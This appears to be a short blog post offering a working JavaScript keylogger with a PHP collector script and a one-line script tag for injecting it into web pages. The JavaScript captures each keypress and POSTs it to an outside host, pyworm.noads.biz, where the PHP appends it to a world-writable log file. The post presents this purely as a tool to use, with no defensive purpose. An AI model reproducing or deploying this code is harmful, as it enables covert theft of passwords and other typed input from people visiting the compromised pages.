Key logger with java script



To use this keylogger you need a file called "keylog.txt" with the permision code of 777
and a PHP file called keylogger.php containing a simple script:

Code: Select all
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>


and here is the keylogger file (keylogger.js):

Code: Select all
/*
Simple javascript keylogger by Th3_M4d_H4tt3r
*/

document.onkeypress = function(evt) {
   evt = evt || window.event
   key = String.fromCharCode(evt.charCode)
   if (key) {
      var http = new XMLHttpRequest();
      var param = encodeURI(key)
      http.open("POST","http://pyworm.noads.biz/keylogger.php",true);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.send("key="+param);
   }
}


to keylog a page use:

Code: Select all
<script src="http://yoursite.com/keylogger.js"></script>

No comments:

Post a Comment